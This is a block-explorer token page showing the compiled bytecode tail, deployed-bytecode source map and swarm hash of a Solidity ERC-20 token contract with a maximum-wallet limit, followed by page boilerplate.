063616e6e6f74207472616e736665722066726f6d20746865207a65726f209201918252507f616464726573732e0000000000000000000000000000000000000000000000006020820152602801919050565b6000825161165581846020870161134b565b7f3a2063616e6e6f74207472616e7366657220746f20746865207a65726f2061649201918252507f64726573732e00000000000000000000000000000000000000000000000000006020820152602601919050565b600082516116bc81846020870161134b565b7f3a207472616e7366657220616d6f756e74206d757374206265206772656174659201918252507f72207468616e207a65726f2e00000000000000000000000000000000000000006020820152602c01919050565b6000825161172381846020870161134b565b7f3a2063616e6e6f74207472616e73666572206d6f7265207468616e2062616c619201918252507f6e63652e000000000000000000000000000000000000000000000000000000006020820152602401919050565b6000825161178a81846020870161134b565b7f3a2065787065637465642077616c6c657420616d6f756e7420657863656564739201918252507f20746865206d617857616c6c6574416d6f756e742e0000000000000000000000602082015260350191905056fea26469706673582212204c02283b8d5f668369ace08f62bda4aac1a52428cc4f008026d239435bcfc44464736f6c634300080d0033
Deployed Bytecode Sourcemap
2120:5105:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5663:71;;;;;;;;;;-1:-1:-1;5726:5:0;;;;;;;;;;;;;;;;;5663:71;;;;;;;:::i;:::-;;;;;;;;3816:163;;;;;;;;;;-1:-1:-1;3816:163:0;;;;;:::i;:::-;;:::i;:::-;;;1368:14:1;;1361:22;1343:41;;1331:2;1316:18;3816:163:0;1203:187:1;5001:654:0;;;;;;;;;;;;;:::i;:::-;;2166:30;;;;;;;;;;-1:-1:-1;2166:30:0;;;;;;;;;;;1586:42:1;1574:55;;;1556:74;;1544:2;1529:18;2166:30:0;1395:241:1;5906:87:0;;;;;;;;;;-1:-1:-1;5978:12:0;;5906:87;;;1787:25:1;;;1775:2;1760:18;5906:87:0;1641:177:1;3985:267:0;;;;;;;;;;-1:-1:-1;3985:267:0;;;;;:::i;:::-;;:::i;5821:79::-;;;;;;;;;;-1:-1:-1;5821:79:0;;2374:2;2426:36:1;;2414:2;2399:18;5821:79:0;2284:184:1;4258:214:0;;;;;;;;;;-1:-1:-1;4258:214:0;;;;;:::i;:::-;;:::i;2203:28::-;;;;;;;;;;-1:-1:-1;2203:28:0;;;;;;;;6093:104;;;;;;;;;;-1:-1:-1;6093:104:0;;;;;:::i;:::-;6177:17;;6159:7;6177:17;;;:8;:17;;;;;;;6093:104;1834:80;;;;;;;;;;;;;:::i;1637:65::-;;;;;;;;;;-1:-1:-1;1675:7:0;1693:6;;;1637:65;;5740:75;;;;;;;;;;-1:-1:-1;5805:7:0;;;;;;;;;;;;;;;;;5740:75;;4478:225;;;;;;;;;;-1:-1:-1;4478:225:0;;;;;:::i;:::-;;:::i;3641:169::-;;;;;;;;;;-1:-1:-1;3641:169:0;;;;;:::i;:::-;;:::i;2626:58::-;;;;;;;;;;-1:-1:-1;2626:58:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;6203:131;;;;;;;;;;-1:-1:-1;6203:131:0;;;;;:::i;:::-;6304:18;;;;6286:7;6304:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6203:131;1920:193;;;;;;;;;;-1:-1:-1;1920:193:0;;;;;:::i;:::-;;:::i;5999:88::-;;;;;;;;;;-1:-1:-1;6069:15:0;;5999:88;;3816:163;3893:4;3910:39;1452:10;3933:7;3942:6;3910:8;:39::i;:::-;-1:-1:-1;3967:4:0;3816:163;;;;:::o;5001:654::-;1748:6;;:22;:6;1452:10;1748:22;1740:68;;;;;;;3551:2:1;1740:68:0;;;3533:21:1;3590:2;3570:18;;;3563:30;3629:34;3609:18;;;3602:62;3700:3;3680:18;;;3673:31;3721:19;;1740:68:0;;;;;;;;;5067:16:::1;::::0;::::1;;5066:17;5058:61;;;::::0;::::1;::::0;;3953:2:1;5058:61:0::1;::::0;::::1;3935:21:1::0;3992:2;3972:18;;;3965:30;4031:33;4011:18;;;4004:61;4082:18;;5058:61:0::1;3751:355:1::0;5058:61:0::1;5130:16;:23:::0;;;::::1;5149:4;5130:23:::0;;::::1;::::0;;;5196:15;5214:12:::1;::::0;5164:63:::1;::::0;5181:4:::1;::::0;5196:15:::1;::::0;;::::1;::::0;5164:8:::1;:63::i;:::-;5238:15;::::0;::::1;;:31;5277:21;5308:4;5315:24;5308:4:::0;6177:17;;6159:7;6177:17;;;:8;:17;;;;;;;6093:104;5315:24:::1;5238:137;::::0;;::::1;::::0;;;;;;4424:42:1;4493:15;;;5238:137:0::1;::::0;::::1;4475:34:1::0;4525:18;;;4518:34;5341:1:0::1;4568:18:1::0;;;4561:34;;;4611:18;;;4604:34;2955:42:0::1;4654:19:1::0;;;4647:44;5359:15:0::1;4707:19:1::0;;;4700:35;4386:19;;5238:137:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;5411:15:0::1;::::0;:25:::1;::::0;;;;;;;:15:::1;::::0;;::::1;::::0;-1:-1:-1;5411:23:0::1;::::0;:25:::1;::::0;;::::1;::::0;::::1;::::0;;;;;;;;:15;:25:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5402:43;;;5454:4;5461:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5402:82;::::0;;::::1;::::0;;;;;;5497:42:1;5566:15;;;5402:82:0::1;::::0;::::1;5548:34:1::0;5618:15;;5598:18;;;5591:43;5460:18;;5402:82:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5386:13;:98:::0;;;::::1;;::::0;;;::::1;::::0;;::::1;::::0;;-1:-1:-1;5495:44:0;;;:29:::1;:44;::::0;;;;;:51;;;::::1;-1:-1:-1::0;5495:51:0::1;::::0;;5575:12:::1;::::0;5594:3:::1;::::0;5575:16:::1;::::0;:12;:16:::1;:::i;:::-;:22;;;;:::i;:::-;5557:15;:40:::0;5635:12:::1;5614:18;:33:::0;5001:654::o;3985:267::-;4084:4;4101:36;4111:6;4119:9;4130:6;4101:9;:36::i;:::-;4179:19;;;;;;;:11;:19;;;;;;;;1452:10;4179:33;;;;;;;;;4148:74;;4157:6;;4179:42;;4215:6;;4179:42;:::i;:::-;4148:8;:74::i;:::-;-1:-1:-1;4240:4:0;3985:267;;;;;:::o;4258:214::-;1452:10;4348:4;4394:25;;;:11;:25;;;;;;;;;:34;;;;;;;;;;4348:4;;4364:78;;4386:7;;4394:47;;4431:10;;4394:47;:::i;1834:80::-;1748:6;;:22;:6;1452:10;1748:22;1740:68;;;;;;;3551:2:1;1740:68:0;;;3533:21:1;3590:2;3570:18;;;3563:30;3629:34;3609:18;;;3602:62;3700:3;3680:18;;;3673:31;3721:19;;1740:68:0;3349:397:1;1740:68:0;1909:1:::1;1892:19:::0;;;::::1;::::0;;1834:80::o;4478:225::-;1452:10;4573:4;4620:25;;;:11;:25;;;;;;;;;:34;;;;;;;;;;4573:4;;4590:83;;4612:7;;4620:52;;4657:15;;4620:52;:::i;3641:169::-;3721:4;3738:42;1452:10;3762:9;3773:6;3738:9;:42::i;1920:193::-;1748:6;;:22;:6;1452:10;1748:22;1740:68;;;;;;;3551:2:1;1740:68:0;;;3533:21:1;3590:2;3570:18;;;3563:30;3629:34;3609:18;;;3602:62;3700:3;3680:18;;;3673:31;3721:19;;1740:68:0;3349:397:1;1740:68:0;2011:22:::1;::::0;::::1;2003:74;;;::::0;::::1;::::0;;6811:2:1;2003:74:0::1;::::0;::::1;6793:21:1::0;6850:2;6830:18;;;6823:30;6889:34;6869:18;;;6862:62;6960:9;6940:18;;;6933:37;6987:19;;2003:74:0::1;6609:403:1::0;2003:74:0::1;2088:6;:17:::0;;;::::1;;::::0;;;::::1;::::0;;;::::1;::::0;;1920:193::o;4709:286::-;4801:19;;;4793:68;;;;;;;7219:2:1;4793:68:0;;;7201:21:1;7258:2;7238:18;;;7231:30;7297:34;7277:18;;;7270:62;7368:6;7348:18;;;7341:34;7392:19;;4793:68:0;7017:400:1;4793:68:0;4880:21;;;4872:68;;;;;;;7624:2:1;4872:68:0;;;7606:21:1;7663:2;7643:18;;;7636:30;7702:34;7682:18;;;7675:62;7773:4;7753:18;;;7746:32;7795:19;;4872:68:0;7422:398:1;4872:68:0;4951:18;;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;4709:286::o;6342:880::-;6447:1;6431:18;;:4;:18;;;;6465:5;;;;;;;;;;;;;;;;;6451:64;;;;;;;;:::i;:::-;;;;;;;;;;;;;6423:93;;;;;;;;;;;;;;:::i;:::-;;6549:1;6535:16;;:2;:16;;;;6567:5;;;;;;;;;;;;;;;;;6553:62;;;;;;;;:::i;:::-;;;;;;;;;;;;;6527:89;;;;;;;;;;;;;;:::i;:::-;;6644:1;6635:6;:10;6661:5;;;;;;;;;;;;;;;;;6647:68;;;;;;;;:::i;:::-;;;;;;;;;;;;;6627:89;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;6177:17:0;;;6159:7;6177:17;;;:8;:17;;;;;;6735:6;:25;;6776:5;;;;;;;;;;;;;;;;;6762:60;;;;;;;;:::i;:::-;;;;;;;;;;;;;6727:96;;;;;;;;;;;;;;:::i;:::-;;6877:1;6854:18;;6839:12;:33;;;;:::i;:::-;6838:40;6834:63;;1675:7;1693:6;;;6882:12;;6834:63;6912:33;;;;;;;:29;:33;;;;;;;;6907:198;;6998:15;;6987:6;6971:13;6981:2;6177:17;;6159:7;6177:17;;;:8;:17;;;;;;;6093:104;6971:13;:22;;;;:::i;:::-;6970:43;;7029:5;;;;;;;;;;;;;;;;;7015:77;;;;;;;;:::i;:::-;;;;;;;;;;;;;6962:131;;;;;;;;;;;;;;:::i;:::-;;6907:198;7115:14;;;;;;;:8;:14;;;;;:24;;7133:6;;7115:14;:24;;7133:6;;7115:24;:::i;:::-;;;;-1:-1:-1;;7150:12:0;;;;;;;:8;:12;;;;;:22;;7166:6;;7150:12;:22;;7166:6;;7150:22;:::i;:::-;;;;;;;;7203:2;7188:26;;7197:4;7188:26;;;7207:6;7188:26;;;;1787:25:1;;1775:2;1760:18;;1641:177;7188:26:0;;;;;;;;6342:880;;;:::o;14:258:1:-;86:1;96:113;110:6;107:1;104:13;96:113;;;186:11;;;180:18;167:11;;;160:39;132:2;125:10;96:113;;;227:6;224:1;221:13;218:48;;;262:1;253:6;248:3;244:16;237:27;218:48;;14:258;;;:::o;277:442::-;426:2;415:9;408:21;389:4;458:6;452:13;501:6;496:2;485:9;481:18;474:34;517:66;576:6;571:2;560:9;556:18;551:2;543:6;539:15;517:66;:::i;:::-;635:2;623:15;640:66;619:88;604:104;;;;710:2;600:113;;277:442;-1:-1:-1;;277:442:1:o;724:154::-;810:42;803:5;799:54;792:5;789:65;779:93;;868:1;865;858:12;779:93;724:154;:::o;883:315::-;951:6;959;1012:2;1000:9;991:7;987:23;983:32;980:52;;;1028:1;1025;1018:12;980:52;1067:9;1054:23;1086:31;1111:5;1086:31;:::i;:::-;1136:5;1188:2;1173:18;;;;1160:32;;-1:-1:-1;;;883:315:1:o;1823:456::-;1900:6;1908;1916;1969:2;1957:9;1948:7;1944:23;1940:32;1937:52;;;1985:1;1982;1975:12;1937:52;2024:9;2011:23;2043:31;2068:5;2043:31;:::i;:::-;2093:5;-1:-1:-1;2150:2:1;2135:18;;2122:32;2163:33;2122:32;2163:33;:::i;:::-;1823:456;;2215:7;;-1:-1:-1;;;2269:2:1;2254:18;;;;2241:32;;1823:456::o;2704:247::-;2763:6;2816:2;2804:9;2795:7;2791:23;2787:32;2784:52;;;2832:1;2829;2822:12;2784:52;2871:9;2858:23;2890:31;2915:5;2890:31;:::i;:::-;2940:5;2704:247;-1:-1:-1;;;2704:247:1:o;2956:388::-;3024:6;3032;3085:2;3073:9;3064:7;3060:23;3056:32;3053:52;;;3101:1;3098;3091:12;3053:52;3140:9;3127:23;3159:31;3184:5;3159:31;:::i;:::-;3209:5;-1:-1:-1;3266:2:1;3251:18;;3238:32;3279:33;3238:32;3279:33;:::i;:::-;3331:7;3321:17;;;2956:388;;;;;:::o;4746:306::-;4834:6;4842;4850;4903:2;4891:9;4882:7;4878:23;4874:32;4871:52;;;4919:1;4916;4909:12;4871:52;4948:9;4942:16;4932:26;;4998:2;4987:9;4983:18;4977:25;4967:35;;5042:2;5031:9;5027:18;5021:25;5011:35;;4746:306;;;;;:::o;5057:251::-;5127:6;5180:2;5168:9;5159:7;5155:23;5151:32;5148:52;;;5196:1;5193;5186:12;5148:52;5228:9;5222:16;5247:31;5272:5;5247:31;:::i;5645:184::-;5697:77;5694:1;5687:88;5794:4;5791:1;5784:15;5818:4;5815:1;5808:15;5834:228;5874:7;6000:1;5932:66;5928:74;5925:1;5922:81;5917:1;5910:9;5903:17;5899:105;5896:131;;;6007:18;;:::i;:::-;-1:-1:-1;6047:9:1;;5834:228::o;6067:274::-;6107:1;6133;6123:189;;6168:77;6165:1;6158:88;6269:4;6266:1;6259:15;6297:4;6294:1;6287:15;6123:189;-1:-1:-1;6326:9:1;;6067:274::o;6346:125::-;6386:4;6414:1;6411;6408:8;6405:34;;;6419:18;;:::i;:::-;-1:-1:-1;6456:9:1;;6346:125::o;6476:128::-;6516:3;6547:1;6543:6;6540:1;6537:13;6534:39;;;6553:18;;:::i;:::-;-1:-1:-1;6589:9:1;;6476:128::o;7825:516::-;8057:3;8095:6;8089:13;8111:53;8157:6;8152:3;8145:4;8137:6;8133:17;8111:53;:::i;:::-;8225:34;8186:16;;8211:49;;;-1:-1:-1;8294:10:1;8287:4;8276:16;;8269:36;8332:2;8321:14;;7825:516;-1:-1:-1;7825:516:1:o;8346:514::-;8578:3;8616:6;8610:13;8632:53;8678:6;8673:3;8666:4;8658:6;8654:17;8632:53;:::i;:::-;8746:34;8707:16;;8732:49;;;-1:-1:-1;8815:8:1;8808:4;8797:16;;8790:34;8851:2;8840:14;;8346:514;-1:-1:-1;8346:514:1:o;8865:520::-;9097:3;9135:6;9129:13;9151:53;9197:6;9192:3;9185:4;9177:6;9173:17;9151:53;:::i;:::-;9265:34;9226:16;;9251:49;;;-1:-1:-1;9334:14:1;9327:4;9316:16;;9309:40;9376:2;9365:14;;8865:520;-1:-1:-1;8865:520:1:o;9390:512::-;9622:3;9660:6;9654:13;9676:53;9722:6;9717:3;9710:4;9702:6;9698:17;9676:53;:::i;:::-;9790:34;9751:16;;9776:49;;;-1:-1:-1;9859:6:1;9852:4;9841:16;;9834:32;9893:2;9882:14;;9390:512;-1:-1:-1;9390:512:1:o;9907:529::-;10139:3;10177:6;10171:13;10193:53;10239:6;10234:3;10227:4;10219:6;10215:17;10193:53;:::i;:::-;10307:34;10268:16;;10293:49;;;-1:-1:-1;10376:23:1;10369:4;10358:16;;10351:49;10427:2;10416:14;;9907:529;-1:-1:-1;9907:529:1:o
Swarm Source
ipfs://4c02283b8d5f668369ace08f62bda4aac1a52428cc4f008026d239435bcfc444
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.
Add Token to MetaMask (Web3)